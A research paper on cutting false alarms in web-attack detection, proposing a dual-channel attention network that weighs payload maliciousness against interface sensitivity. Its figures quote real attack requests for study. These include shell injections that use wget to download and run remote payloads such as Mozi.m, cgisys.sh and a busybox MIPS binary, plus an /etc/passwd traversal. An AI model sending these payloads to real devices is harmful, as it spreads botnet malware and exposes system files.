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Abstract: The exponential expansion of Internet interconnectivity has led to a dramatic increase in
cyber-attack alerts, which contain a considerable proportion of false positives. The overwhelming
number of false positives cause tremendous resource consumption and delay responses to the really
severe incidents, namely, alert fatigue. To cope with the challenge from alert fatigue, we focus on
enhancing the capability of detectors to reduce the generation of false alerts from the detection
perspective. The core idea of our work is to train a machine-learning-based detector to grasp the
empirical intelligence of security analysts to estimate the feasibility of an incoming HTTP request
to cause substantial threats, and integrate the estimation into the detection stage to reduce false
alarms. To this end, we innovatively introduce the concept of attack feasibility to characterize the
composition rationality of an inbound HTTP request as a feasible attack under static scrutinization.
First, we adopt a fast request-reorganization algorithm to transform an HTTP request into the form of
interface:payload pair for further alignment of structural components which can reveal the processing
logic of the target program. Then, we build a dual-channel attention-based circulant convolution
neural network (DualAC2NN) to integrate the attack feasibility estimation into the alert decision,
by comprehensively considering the interface sensitivity, payload maliciousness, and their bipartite
compatibility. Experiments on a real-world dataset show that the proposed method significantly
reduces invalid alerts by around 86.37% and over 61.64% compared to a rule-based commercial WAF
and several state-of-the-art methods, along with retaining a detection rate at 97.89% and a lower time
overhead, which indicates that our approach can effectively mitigate alert fatigue from the detection
perspective.

Keywords: alert fatigue; network security; intrusion detection; malicious HTTP request; machine
learning

1. Introduction

The last decades have witnessed a rapid development of network technology and its
emerging applications, paralleled by an explosion in the number of cybersecurity threats,
with continued evolution and sophistication. Among those, malicious HTTP requests,
such as cross-site scripting (XSS) injections, SQL injections (SQLi), and remote command
execution (RCE) attacks, etc. have been one of the most prevailing threats, which constantly
occupy the dominant positions in the Common Weakness Enumeration. Cyber criminals
and APT groups leverage the vulnerabilities exposed on the borders of an enterprise
network and construct corresponding weaponized exploits for penetration and further
malicious activities.

In response to the severe security posture, various methods have been proposed to
distinguish malicious HTTP requests from normal traffic, which can be categorized into
knowledge-driven [1,2] and data-driven [3–9] detection methods. Although current methods
have shown excellent performance in detecting suspicious HTTP requests, which has been
extensively elaborated by previous studies, they cannot distinguish the real severe incidents
from massive low-intensity attack attempts, such as brute-force and probing attacks.
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According to a study report conducted by Trend Micro [10], nearly three-quarters of
security operations teams are severely plagued by alert overload, and more than 51% of
alerts are actually false positives. Similarly, as a survey conducted by the Cloud Security
Alliance illustrated, only about 23.2% of threat alerts were real, meaning that 76.8% were
false positives [11]. Consequently, as stated in FireEye’s survey [12], only an average of 4%
of alerts are investigated in a timely and appropriate manner each week, due to the impact
of massive fake alerts. Alert fatigue excessively consumes the limited computing resources
and manpower of security operations, maintenance, and delays responses, which causes
alert burnout and eventually desensitization [13], resulting in critical alerts being buried in
significant numbers of invalid alerts, such as the notorious Target incident in 2013 [14].

Combating alert fatigue can be described as a “find a needle in haystack” problem,
i.e., to determine the potentially real threats from massive numbers of invalid alerts. One
prevalent solution is to apply data provenance analysis [15,16] on suspicious HTTP re-
quests. Provenance analysis provides an automated and intelligent solution to perform
causal analysis and context investigation on suspicious HTTP requests to scrutinize re-
ported security incidents by integrating heterogeneous log data from various sources [17].
Although provenance analysis has shown promising performance in incident assessment,
relieving the pressure of the analyst and mitigating alert fatigue to some extent, it is still a
time-consuming process with prohibitively expensive overhead due to the huge volumes
of pending alerts in practical application.

In contrast to previous work, which verify the captured alerts by fine-grain incident
investigation, we focus on improving the capacity of classifiers and reducing the generation
of false alerts in the detection stage to fundamentally relieve the pressure of further forensics
or investigation. Existing detection solutions rely extensively on the recognition of attack
vectors while neglecting the contextual scenario and feasibility analysis of suspicious
HTTP requests, resulting in a lack of cognition on false-alert identification. Worse still,
the overwhelming volume of intricate and ever-changing background traffic exacerbates
the difficulty of distinguishing the “real” threats from those false alerts, causing floods
of false alerts in practical deployment. To overcome the stated deficiencies, we formalize
the expertise of static false-alerts scrutinizing as attack feasibility and integrate it into the
detection stage, differently from Imperva Attack Analytics [18], which attempts to insert
an extra module to reduce WAF false positives based on a supervised machine-learning
model. Concretely, we make maximum use of the static syntax features and scenario-related
information implicit in HTTP requests to tentatively measure the attack feasibility, thus
enhancing the cognitive ability of the detectors.

In this paper, we are committed to revisiting the alert-fatigue problem from the de-
tection perspective and alleviating the alert-fatigue phenomenon through enhancing the
capability of front-end detectors. Our work assumes a scenario where detectors are faced
with a large volume of sophisticated HTTP requests containing a massive number of suspi-
cious attempts. These suspicious attempts usually incur considerable false alerts which
are composed of unharmful scannings and tentative attacks with implausible conforma-
tion [11,12]. To cope with the alert-fatigue problem under such circumstances, we should
improve the detection framework both in feature engineering and model design. For feature
engineering, the literature [19] employs the DOC [20] method on traffic feature extraction.
The literature [21] provides comprehensive analysis on several feature-extraction methods.
The literature [22] introduces a promising embedding method on IP and port addresses. For
model design, the literature [23] presents an effective contrastive-learning architecture for
intrusion detection. In this paper, we propose a novel malicious HTTP-requests detection
framework, incorporating the prediction of attack feasibility into the final decision, to re-
duce the generation of such false alerts. Inspired by aspect-based sentiment analysis [24,25]
and circulant fusion mechanism [26], we disassemble the HTTP requests and conduct
aspect-level alignment to maximize the use of static syntax features and scenario-related
characteristics. Consequently, our framework consists of a request reorganization module
and a dual-channel attention-based circulant convolution neural network (DualAC2NN)
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model. Compared to existing studies, the contributions of our research are highlighted
as follows:

• Firstly, we innovatively introduce the concept of attack feasibility to tentatively predict
the validness of a suspicious inbound HTTP request under static audits. We elaborate
the principle and rationale of attack feasibility based on empirical knowledge and
concrete examples. Additionally, we present a fundamental scheme to estimate the
attack feasibility and integrate it into the detection stage.

• Secondly, we propose a fast request-reorganization algorithm, to extract composition
properties and semantic attributes in the requests. After reorganization, we obtain a pair-
form representation containing interface-related and payload-related strings to better
utilize the intrinsic mechanism of attack implementation and to facilitate the alignment
of the target interface and conveyed payload for further neural computations.

• Thirdly, we carry out a dual-channel attention-based circulant convolution neural
network (DualAC2NN) for further neural computations and adaption to the proposed
pair representation of inbound requests. We adopt an attention mechanism and convo-
lution neural network architecture to reduce noise from irrelevant background strings.
Furthermore, we incorporate payload maliciousness, resource interface sensitivity, and
their bipartite compatibility through circulant fusion computation on dual-channel
vectors, seek to exploit more information and obtain more reliable decisions than
previous payload-centric methods.

• Finally, we evaluate the proposed methodology on a real-world HTTP traffic dataset
collected from an enterprise network edge, which is used to measure the captiv-
ity of classifiers to combat alert fatigue. Comparative experiments showed that
the proposed method outperforms other state-of-the-art methods, especially in the
false-positive rate.

The rest of this paper is organized as follows. Section 2 elaborates the problem and
motivation examples; Section 3 demonstrates the concept of attack feasibility and theoretical
foundations; Section 4 illustrates the overall process of the proposed approach, especially
the fast request-reorganization algorithm and the DualAC2NN model; Section 5 shows
the experiments on the real-world dataset; and, finally, Section 6 concludes the paper and
further discusses the future work.

2. Problem Statement
2.1. HTTP Request Structure

From the perspective of composition [27], an HTTP request message can be divided
into three parts, as in Figure 1: start line, header fields, and request body, if needed. The
start line declares the request method and path component that identifies the target resource
on the server (uniform resource identifier, URI). Message headers provide information to
the recipient about the message, the sender, and how the sender would like to communicate
with the recipient. In addition, as the actual content of the message technically, the request
body conveys the entity or parameter to the target resource interfaces of the recipient to
accomplish some expected jobs.

Different from benign HTTP requests, as shown in Figure 2, during a malicious HTTP
request, particularly in injection attacks, the attacker replaces the legitimate parameter
with malicious code and then makes the victim host execute it. The attacker exploits the
inappropriate request processing logic of certain vulnerable application components to
make the request incorrectly interpreted, causing the malicious payload to be injected into
the sensitive interfaces. This means that from the view of detection, a feasible HTTP-based
attack should have a reasonable composition and conformation, implying both a path to a
potentially vulnerable interface and sufficient malicious codes in the payload.

However, current learning-based methods tend to model the entire request mes-
sage as streaming data [3–9,28–34], causing the individual presence of a sensitive path
or malicious payload to be regarded as the prevailing decision-making factor. As exist-
ing methods neglect the implicit processing syntax and scenario-related characteristics,
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they cannot estimate the attack feasibility when conducting detection on captured ma-
licious requests, which might incur further massive numbers of false alerts, especially
during real-world deployment.

POST /cgi-bin/process.cgi HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; 

MSIE5.01; Windows NT)

Host: 192.168.1.1

Content-Type: application/x-www-form-

urlencoded

Content-Length: length

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Connection: Keep-Alive

licenseID=string&content=string&/

paramsXML=string

Start line

Massage header

Request body

Figure 1. Example of an HTTP request.

POST /GponForm/diag_Form?images/ HTTP/1.1

Host: **.**.**.**:80

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE5.01; 

Windows NT)

Content-Length: 118

XWebPageName=diag&diag_action=ping&wan_con

list=0&dest_host=``;wget+http://192.168.1.1:8088/

Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0

Injected 

Interface

Maicious 

Payload

Figure 2. Example of a feasible malicious request.

2.2. Motivative Examples of False Alerts

In this study, we focus on reducing false alerts that security researchers can eliminate
from the perspective of static audits. Three typical examples of real-world false alerts are
shown in Figure 3, Figure 4 and Figure 5 with deprivatization, respectively.

False Alert Example 1:

POST /v1/net_monitor/ip_access HTTP/1.1

Host: **.**.**.**:8080

User-Agent: ysec_hids_agent

accept: application/json

content-type: application/json

agentid:********

Content-Length: 806

{ magic :270802968, proto_version :  1.0.0 , timestamp :1608336293, local_ip :

... ... { pid :7241, start_time :1608335818, cmdline : wget –http-user=manifold

–http-passwd=dw_manifold –output-document=/var/log/sysop_manager/public

_repos.revision.1.log –time , exe : /usr/bin/wget , genealogy : systemd->sysop_

manager.s->wget  genealogy : systemd->cron->sh->sh->bash->bash->bash-> }}

Figure 3. False-alert example 1.
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False Alert Example 2:

GET /adv,/cgi-bin/weblogin.cgi?username=admin&password=******  HTTP/1.1

Host: **.**.**.**:8080

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like 

Gecko) Chrome/13.0.782.220 Safari/535.1

accept: application/json

content-type: application/json

Content-Length: 0

Figure 4. False-alert example 2.

False Alert Example 3:

POST /bin/showmodule.php?DivId=urlPop11&Js=dnRNZW1TZWxlY3RVcmwoM

Sk=&Mo=34&Nbr=0&Special=../../../../../../../../../../etc/passwd&TagName=urlPop11

&Type=poplogin HTTP/1.1

Host: **.**.**.**

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHT

ML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

Content-Length: 65

Connection: Keep-alive

rs=sajaxSubmit&rsargs[]=<Input><F><K></K><V></V></F></Input>

Figure 5. False-alert example 3.

False-alert example 1 stems from a lack of cognition of the contextual scenario, or the
path sensitivity, in other words. For many suspicious behaviors, such as remote command
execution, current detectors often find it difficult to distinguish a legitimate remote control
from the real command injection attacks, as shown in Figure 3.

False-alert example 2 originates from the over-matching of vulnerable paths but a neglect
of the existence of payload maliciousness. Such overfittings mean normal accesses are falsely
reported due to sharing a same URI as in the CVE-2020-9054 exploits in Figure 4. For the
same reason, unharmful reconnaissance and scanning are also reported to the SOC all the
time, which always occupy a prevailing portion of alerts. The vague boundary delineation to
determine the maliciousness of requests increases the difficulty of real-world detection.

False-alert example 3 is caused by the incompatibility of the accessed interface and
malicious payload. This type of attack is often produced by brute-force attacks or fuzzing
attacks from automatic suites, as illustrated in Figure 5.

Consequently, in a real-world network environment, suspicious HTTP requests con-
tain numerous blind attacks, invalid brute-force and fuzzing attacks, unharmful scan or
reconnaissance attempts, legitimate remote controls, and normal access to vulnerable paths
upon some web services might be incorrectly alarmed, which are aggregated as the main
causes of alert fatigue.

3. Attack Feasibility Estimation

In this study, we propose an attack feasibility-wise detection strategy to mitigate such
false alerts. The feasibility of an HTTP-based attack depends on the composition rationality
of the request itself and whether the target host is vulnerable and unprotected. We focus
on estimating the attack feasibility statically from detection perspectives, reducing the
complexity of subsequent provenance analysis at less computational cost. Based on the
discussions of practical examples mentioned in the previous section, attack feasibility is
closely related to the logical semantics and scenario characteristics implicit in the hierarchi-
cally structured request, as mentioned in the literature [5]. Hence, attack feasibility in this
study can be described as Definition 1 from the scope of static audits.

Definition 1 (Attack feasibility). Attack feasibility is illustrated as the underlying composi-
tion and conformation rationality of request constituents that accords with certain feasible attack
paradigms from the perspective of static analysis.
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The hierarchical conformation reveals the intrinsic logic about how external malicious
codes are delivered to a certain vulnerable server-side function along with a specified path
or interface. This means that by examining the request messages, we might obtain some
valuable clues indicating the subsequent processing logic, which can be used as significant
auxiliary features.

Concretely, a feasible attack is basically supposed to possess access to a vulnerable
resource and the corresponding compatible malicious payload. We can extract several
refactored paths that specify some certain application component resources and the corre-
sponding payloads from a request message. Then, the attack feasibility can be estimated
based on the analysis of extracted refactored paths, payloads, and their bipartite compat-
ibility. Therefore, we design an attack feasibility-estimation strategy based on a triadic
measurement: the maliciousness of the payload, the sensitivity of the injected interface and
their bipartite compatibility.

Definition 2 (Payload maliciousness). Payload maliciousness is defined as an assessment metric
to measure the sender’s intention and the underlying severity of the desired consequences.

The request payload refers to the parameter delivered to a certain front-end or back-
end function of the target application. In the POST request message, the request payload
can be extracted from a request body according to the specification of content type and some
delimiters. In the GET request message, the request payload can be obtained from the value
segment of the URI. An example of a malicious payload is shown in Figure 2, marked in
orange. The malicious payloads share similar lexical and semantic features of the resembled
intentions of attackers. As illustrated in Definition 1, through manual labeling, the payload
maliciousness can be statistically concluded based on a learning-based algorithm [35,36].
For example, within a remote command execution attack, the frequent malicious payload
organized as “wget IP:PORT/FILE; chmod + x MALFILE;./FILE” is identified as a severely
dangerous behavior. Conversely, the payload which is organized as ‘echo hello’ is regarded
a tentative behavior with less threat.

Definition 3 (Interface sensitivity). Interface sensitivity is defined as a quantitative identifier
to evaluate whether the accessed resource is vulnerable or prone to be vulnerable.

The interface in our work refers to the path-like strings in the request body implying
the accessed resource. In a POST request message, the interface is composed of a URI and
part of a path-like string in a message payload according to the content type. Whereas in
GET request, the interface is just the URL (uniform resource locators) and query part.

The similarity of the path is embodied in the word formation in request strings, such
as abbreviations and morphology, which reflect their intrinsic functions or code logic to
a certain extent, in turn potentially reflecting similar security problems. Through a lot of
work on analyzing existing web vulnerabilities, the morphological similarities of vulnerable
paths can be found widely.

One of the primary causes is the over-reused code in the developing phase, especially
in IoT devices, due to the convergence of functional requirements and the wide adoption of
the same third-party libraries. Such a series of vulnerabilities was exposed on the SOAP-
based HNAP protocol [37], known as the OpenWrt Luci command injection vulnerability
and thinkphp RCE vulnerability, triggered by the controller built by MVC.

Secondly, following development conventions, codes with similar functional de-
signs share similar naming schemes on paths; for example, the strings “/cgi-bin/*.cgi"
and “/luci/" are often involved with unatuh RCE vulnerabilities. For example, exploits
of CVE-2020-14472 [38] and CVE-2020-8515 [39] share the same interface, known as “/cgi-
bin/mainfunction.cgi".

In addition, there are imperfect or incomplete patches from vendors, also resulting in
the recurrence of vulnerabilities in the same path, such as S2-013 and S2-014, S2-005 and
S2-003 [40], etc.
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Such strings can be extracted from original requests to build the refactored resource
interface paths, which can be utilized as an important indicator to weigh the sensibility of
request behaviors and expose the latent service scenarios.

Definition 4 (Compatibility). Compatibility refers to a variable weighing of the possibility that
a certain injected interface and suspicious payload can be composed for a feasible attack.

In practice, we find that payload maliciousness and interface sensitivity cannot solely
determine whether a suspicious request can lead to a feasible attack or not, as false-alert
example 3 in Figure 5. Hence, we propose the concept of compatibility to predict the
conformation rationality of the given interface and payload, as stated in Definition 4. After
being trained on massive samples, the detector is promising to predict which attacks are
feasible for a specific interface [41,42].

Overall, when estimating attack feasibility, our study mainly concerns the three aspects
mentioned above. Hence, we aggregate payload maliciousness, interface sensitivity, and
their bipartite compatibility to obtain a comprehensive assessment. We can construct a
specified network architecture and an appropriate representation to exploit the aforemen-
tioned three properties. Through a composite analysis, we integrate part of the intuitive
and empirical intelligence from static audits into the detection stage, which is promising
to significantly enhance the attack feasibility-wise capacity of detectors and promisingly
lower the false alerts.

4. Detection Framework

The basic assumption of our work is that we can achieve massive distinctive HTTP
requests in plaintext form. In addition, our work is oriented to the real-world defensive
scenario.

4.1. Overview

An overview of proposed framework is demonstrated in Figure 6. As shown, the
whole pipeline contains two core phases: a data preprocessing module and a detection
module. We transform every captured HTTP request into a tokenized < Sinter f ace, Spayload >
pair through request reorganization, generalization, and tokenization operations.

Captured HTTP 

Requests

Preprocessing Phase

Request Reorganization

Generalization

Tokenization

Detection Phase

1

1

0

0

0

1

1

1

0

0

Malicious Requests with 

High Attack Feasibility

Decision Phase

1 1 0 1

0 1 1 1 

1 0 1 1

...

...

...

DualACCNN 

Detection Model 

Pair-form

Inputs

1

1

0

0

1

0

1

0

1

1

0

0

Benign Requests and Low-

risk susipicious Requests

Input Phase

Figure 6. An overview of the proposed framework.

Then, we feed the pair-form inputs into a dual-channel neural detection model, namely,
DualAC2NN, and gather the decision result to determine whether to generate alerts or not.

4.2. Data Preprocessing

In order to provide an appropriate representation for further neural computation
with attack feasibility estimation, some preprocessing operations are conducted including
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request reorganization, generalization, and tokenization on a raw HTTP request input in
the preprocessing phase.

4.2.1. Request Reorganization

After twice decoding the URL, we adopt a fast request-reorganization algorithm work-
ing on incoming HTTP requests. The purpose of request reorganization is to facilitate the
aspect alignment of interface-related tokens and payload-related tokens for maximum utility
of the logical semantics and scenario characteristics implicit in the structured conformation.

According to the specification of the HTTP RPC2616 document [27], an external
parameter or payload can be transmitted through URL or a request body. The URL string
contains semantic segments such as domain name, path name, and file name, which can
be roughly expressed as $http://hostname:hostport/p/a/t/h?query1=string1&query2
=string2$ (accessed on 11 May 2022). The parts of /p/a/t/h and query indicate the interface
to submit payloads, and string1 and string2 are the externally injected payloads. Therefore,
the symbol = and & can be used to separate the interface-related segments and payload-
related segments. Concretely speaking, = acts as an assignment identifier to declare the
corresponding payload-related segments with aforementioned paths just as the URL in
Figure 7a. In addition, the & acts as a delimiter to separate the pairs of interface-related
segments such as /cgi − bin/cgi_system?cmd from the corresponding payload-related
segments such as savecon f ig.

For POST requests, a request body can also carry some parameter-transmitting strings.
Although there exist diverse composition paradigms on request bodies, divided by the
format and parsing logic, our request-reorganization algorithm can still retain effectiveness
just by adopting corresponding indicators according to the specification of Content− Type.

For request body with a streaming-like structure with the Content− Type of application/
f orm− data, such as the example in Figure 7a, we focus on the assignment symbols = and
juxtaposition symbols &. As shown in the left half of Figure 7a, the segments are annotated.
Generally, the strings behind the assignment symbols and the front of juxtaposition symbols
are payload-related segments, like the strings enclosed by orange dashed curve . In addition,
the strings lie behind the juxtaposition symbol and the front of the assignment symbols are
interface-related segments, like the strings enclosed by blue solid curve.

For a request body with a nested structure with the Content − Type of
application/text/xml or application/json, like the example in Figure 7b, we mainly con-
sider the delimiters as < and >. As shown in the left half of Figure 7a, the segments are
annotated. The strings located between < and > are regarded as interface-related segments,
and the strings locate between > and < are regarded as payload-related segments.

Then, we can concatenate all the interface-realetd and payload-related segments,
respectively, and obtain the interface sequence and payload sequence. Consequently, the
raw streaming request strings are reorganized as the sequence pairs as shown in right half
of Figure 7a,b. Here, the strings in blue colored represent the interface sequence, and the
strings in orange represent the payload sequence.

POST /cgi-bin/cgi_system?cmd=saveconfig HTTP/1.1

  

Content-Type: application/x-www-form-urlencoded

  

bfolder=%2Fmtd%2Fblock3&bfile=|`wget%20http://

**.**.**.**:****/cgisys.sh%20-O%20-%3E%20/tmp

/nemp;sh%20/tmp/nemp`&inc_emap=no&inc_pos=no

/cgi-bin/cgi_system?cmd bfolder bfile inc_emap 

inc_pos

saveconfig %2Fmtd%2Fblock3 |`wget%20http://

**.**.**.**:****/cgisys.sh%20-O%20-%3E%20/

tmp/nemp;sh%20/tmp/nemp` no no

Raw request Reorganized sequences

(a)

Figure 7. Cont.

$http://hostname:hostport/p/a/t/h?query1=string1&query2=string2$
$http://hostname:hostport/p/a/t/h?query1=string1&query2=string2$
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POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

  

Content-Type: text/xml

  

<?xml version=1.0 ?><s:Envelope xmlns:s=http://sche

mas.xmlsoap.org/soap/envelope/ s:encodingStyle=http

://schemas.xmlsoap.org/soap/encoding/><s:Body><

u:Upgrade xmlns:u=urn:schemas-upnp-org:service:W

ANPPPConnection:1><NewStatusURL>$(/bin/busy

box wget -g **.**.**.** -l /tmp/mips -r /mips; /bin

/busybox chmod 777 * /tmp/mips; /tmp/mips huawei)

</NewStatusURL><NewDownloadURL>$(echo HUA

WEIUPNP)</NewDownloadURL></u:Upgrade><

/s:Body></s:Envelope>

/ctrlt/DeviceUpgrade_1  ?xml version=1.0 ? 

s:Envelope xmlns:s=http://schemas.xmlsoap.org/

soap/envelope/ s:encodingStyle=http://schemas.

xmlsoap.org/soap/encoding/ s:Body u:Upgrade

 xmlns:u=urn:schemas-upnp-org:service:WANPP

PConnection:1  NewStatusURL  /NewStatusURL 

NewDownloadURL /NewDownloadURL /u:Up

grade /s:Body /s:Envelope 

 $(/bin/busy box wget -g **.**.**.** -l /tmp/mips 

-r /mips; /bin  /busybox chmod 777 * /tmp/mips; /

tmp/mips huawei) $(echo HUA WEIUPNP)

Raw request Reorganized sequences

(b)

Figure 7. Example of request reorganization. (a) Schematic diagram of request-reorganization
workflow. As a streaming example of NUUOS OS command injection attack. (b) Schematic diagram
of request-reorganization workflow. As a nested example of CVE-2017-17215.

Given the computational complexity and time efficiency, we design a fast request-
reorganization algorithm as shown in Algorithm 1 for a trade-off on granularity and
efficiency. We use head indicators and tail indicators to simply depict the delimiters to
distinguish the interface-related segments and payload-related segments. For instance, we
adopt = and > as head indicators and & and < as tail indicators. As shown in Algorithm 1,
the time complexity of the proposed fast request algorithm is O(n). Compared to subse-
quent processing such as REGEX-based generalization and tokenization, the extra cost
from request reorganization is acceptable, which means that our algorithm is lightweight
enough and can be applied in real-world scenarios.

Through request reorganization, we construct an < Strinter f ace, Strpayload > pair
for characterizing interface sensitivity and payload maliciousness, respectively. Where
Strinter f ace and Strpayload of < Strinter f ace, Strpayload > is composed of interface-related seg-
ments and payload-related segments. Further, we can compute the compatibility through
the aspect alignment of interface sensitivity and payload maliciousness. Although it cannot
completely reflect the processing logic of the target program, critical clues involving the
payload-injecting logic are preserved to the maximum extent during the transformation.

4.2.2. Generalization and Tokenization

Generalization is aimed at eliminating isolated words, using specific indicators to
substitute the attack-agnostic to avoid misidentification and interference from background
strings. Compared with natural language, HTTP requests often contain website links, IP
addresses, numeric strings, hash strings, encoded strings or some meaningless words, etc.
To eliminate extraneous interference from those confusing characters, we utilize regular
expressions to match those characters and transform them into proprietary words according
to original attributes. For example, by using the generalization rules shown in Table 1,
we can figure out such attack-agnostic strings and replace them with the corresponding
specified words.

Notice that the word-level tokenizer is troubled by out-of-vocabulary words due to its
coarse granularity. Meanwhile, the char-level tokenizer makes the data more sparse and
difficult to learn long-distance dependencies. In our framework, we adopt a subword-level
tokenizer based on byte pair encoding (BPE) [43]. BPE is a simple form of data-compression
algorithm in which the most common pair of consecutive bytes of data is replaced with
a byte that does not occur in that data. BPE brings the perfect balance between character-
and word-level hybrid representations, which makes it capable of managing large corpora.
By using BPE, we can mitigate the problems faced by word-based tokenization (large
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vocabulary size, out-of-vocabulary tokens, and different meanings of very similar words)
and character-based tokenization (long sequences and less meaningful individual tokens).

Algorithm 1: Fast request-reorganization algorithm

Input: A predefined finite dictionary Ih[
′Content− Type′] of head indicators, and

a predefined finite dictionary It[′Content− Type′] of tail indicators
according to the Content− Type keywords; an incoming request R.

Output: Output interface sequence of interface-related segments StrIn f and the
payload sequence of payload-related segments StrPyl .

1 Initialzation Curpos ← 0, StrIn f ← ∅, StrPyl ← ∅, Curpre ← 0;
2 while ∗Curpos not equal EOF do
3 if ∗Curpos ∈ Ih then
4 if ∗Curpre ∈ It or ∗Curpre equal null then
5 StrIn f += R[Curpre, Curpos]

6 Curpre ← Curpos

7 end
8 else
9 pass

10 end
11 end
12 else if ∗Curpos ∈ It or ∗(Curpos + 1) equal EOF then
13 if ∗Curpre ∈ Ih then
14 Strpyl += R[Curpre, Curpos]

15 Curpre ← Curpos

16 end
17 else
18 pass
19 end
20 end
21 Curpos += 1
22 end
23 return StrIn f and StrPyl

Table 1. Generalization rules.

Regex Expressions Substitution Strings

r‘(http|https|ftp)://[a-zA-Z0-9]̇+/’ patternURL
r‘(([01]{0,1}\d{0,1}\d|2[0-4]\d|25[0-5])\.){3}([01]{0,1}\d{0,1}\d|2[0-4] \d|25[0-5])’ patternIP
r‘[a-f0-9]{16}’ patternHASH
r‘ˆ([A-Za-z0-9\+\-+]{4}){3,}([A-Za-z0-9\+\-+]{4}|[A-Za-z0-9\+\-+]{3} =|[A-Za-z
0-9\+\-+]{2}==)$’ patternBASE64

r‘[0-9][0-9]{5,}’ patternLongNUM

After generalization and tokenization, < Strinter f ace, Strpayload > can be converted
into < Sinter f ace, Spayload >, where Sinter f ace and Spayload are composed of subwords, as
Sinter f ace = [Swi,0, Swi,1, Swi,2, Swi,3, . . . , Swi,L−1], Spayload = [Swp,0, Swp,1, Swp,2, Swp,3, . . . ,
Swp,L−1].

4.3. Model Design

In this section, we demonstrate our proposed DualAC2NN model adaptive to the
pair-form < Sinter f ace, Spayload > inputs as shown in Figure 8. We measure the payload
maliciousness and interface sensitivity based on the dual-channel quantification, respec-
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tively. Then we compute the bipartite compatibility based on the ciculant matrix multiply
operations. Eventually, we incorporate the threefold characteristics to integrate the attack
feasibility estimation into detection decision based on the concatenation fusion for fur-
ther neural computation. In addition, the attention mechanism is adopted to enhance the
significant regions of the incoming request and reduce the influence from noise bytes.

4.3.1. Embedding

In order to construct an appropriate input for the neural network model, we must
map the tokenized sequence into the numerical vector space. However, when dealing
with network traffic data, we are often faced with a huge number of words, resulting in
a large and sparse one-hot encoding vector, which significantly affects the model perfor-
mance. Therefore, an embedding layer is required to convert sparse|V|-dimension one-hot
encoding words into dense k-dimension vectors, where |V| represents the volume of the
vocabulary corpus and k stands for the fixed size of embedded vectors.

We build a constant embedding matrix based on the GloVe(Global Vector) [44] algo-
rithm used as a shared embedding layer for semantic uniformity of the two parallel channels
in our neural network. After embedding, tokens with similar semantics will be assigned in
vectors with a close distance in the vector space. We assign every subword Swi in sequence
with a unique index idx, and then look up the corresponding vectored representation Vidx
in the GloVe dictionary. Consequently, we can obtain vectorized < Vinter f ace, Vpayload >
from < Sinter f ace, Spayload >.

In this study, the vector size is assigned as 128. The sizes of interface sentence and
payload sentence are assigned to 128. The excess part of the input sequence is truncated
and the insufficient part is filled with zero.

4.3.2. Attention Module

As Figure 8 shows, an attention layer is introduced between the input layer and the
convolution layer inspired by [45]. Concretely, the attention layer is to produce a context
vector for each word. The context vector is concatenated with the original word vector as a
new representation of the input vector is, fed to the following dual-channel convolution
layer, respectively. The core idea of the attention mechanism is to facilitate the model to
concentrate on some significant regions of an incoming sentences based on the attention
weights. Attention mechanism determines to which regions more attention should be paid
than other regions in the sentence for the classification task. In our study, the attention mech-
anism is an additional MLP being jointly trained with all other components of DualAC2NN.
The lilac-filled circle of the attention module or CNN module in Figure 8 represents the
context vector gi as scored words combined with input words w in a weighted sum:

gi = ∑
j 6=i

αi,j ·wj (1)

where αi,j are attention weights and satisfy that αi,j > 0 and ∑j αi,j = 1 through softmax
normalization. The following equations can be used to describe the attention mechanism:

αi,j =
exp

(
score

(
wi, wj

))
∑j′ exp

(
score

(
wi, wj′

)) (2)

score
(
wi, wj

)
= v>a tanh

(
Wa

[
wi ⊕wj

])
(3)

where Wa is provided by the MLP mentioned above. Then, we concat the word vector wi
with its context vector wi to obtain the extended vector w′i respectively:

w′i = wi ⊕ gi (4)
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After the computations stated in the above equations, we can obtain the composed form
V′inter f ace = Vinter f ace ⊕ Attention(Vinter f ace) and V′payload = Vpayload ⊕ Attention(Vpayload).
Then, we feed them into the following dual-channel convolution neural network module,
respectively, as Figure 8 shows.
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Figure 8. Architecture of proposed DualAC2NN model.

4.3.3. Dual-Channel Convolution Neural Network Module

Next, we build a dual-channel convolution neural network architecture for more
accurate representation for the recognition of malicious HTTP requests. The CNN model
automatically extracts data features through sliding windows and convolution operations,
making full use of and mining local regional features present in data streams [29,46].
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During training, by discovering distinct combinational patterns, activate the corresponding
neurons and increase the importance of these patterns one by one. In this study, parallel
neural networks are coordinated to learn complementary features, and, thus, a symmetry
architecture is constructed. After the words from a single channel are fed into the neural
network, we adopt convolution operations with multiple filters varying in the window sizes,
and each convolution layer is followed by a maxpooling operation, as in Equation (5). Then,
we can obtain two immediate vectors from the followed fully connection network as in
Equation (6), which quantitatively demonstrates the interface sensitivity (νimmediate,inter f ace)
and payload maliciousness (νimmediate,payload).

νi = Pooling
(
conv1D(Wθi , V′, “valid”)

)
(5)

νimmediate = FCθ

(
Concat

(
{νi}n−1

i=0

))
(6)

In our architecture, we adopt three filters with different window sizes, which means
that n is assigned as three.

4.3.4. Circulant Fusion Module

In this study, we introduce a circulant fusion module as mentioned in [26] to estimate
the implicit compatibility through exploiting interactions among elements of the interface
sensitivity immediate vector and the payload maliciousness immediate vector, as sketched
in Figure 9.

Firstly, we expand and reshape the immediate vectors into circulant matrixs (CirMinter f ace,
CirMpayload), respectively, as in Equation (7). Then, we compute the inner product between
the interface sensitivity immediate vector with the payload maliciousness circulant matrix,
and the inner product between payload maliciousness immediate vector with the interface
sensitivity circulant matrx, and we can obtain two cross-fused vectors Cip and Cpi as in
Equation (8). Compared to commonly used fusion methods mainly including element-wise
product, element-wise sum, or simply concatenation, circulant fusion is capable of exploring
nearly all possible interactions between vectors of different modalities as each row of a matrix
shifts one element. Meanwhile, based on the computation of all possible interactions, we can
query all the possible aspect alignments of interface sensitivity and payload maliciousness,
thus obtaining a comprehensive compatibility estimation.

After obtaining the joint representation ˚ joint of these two cross-fused vectors and
two immediate vectors as in Equation (9), we feed it into the final fully connected lay-
ers. Through batch normalization and softmax computation, we can obtain the output
determining the predicting label of the current request, Equation (10). Considering the
composition of joint vectors, our method covers all threefold characteristics and integrates
the attack feasibility estimation into the final determination.

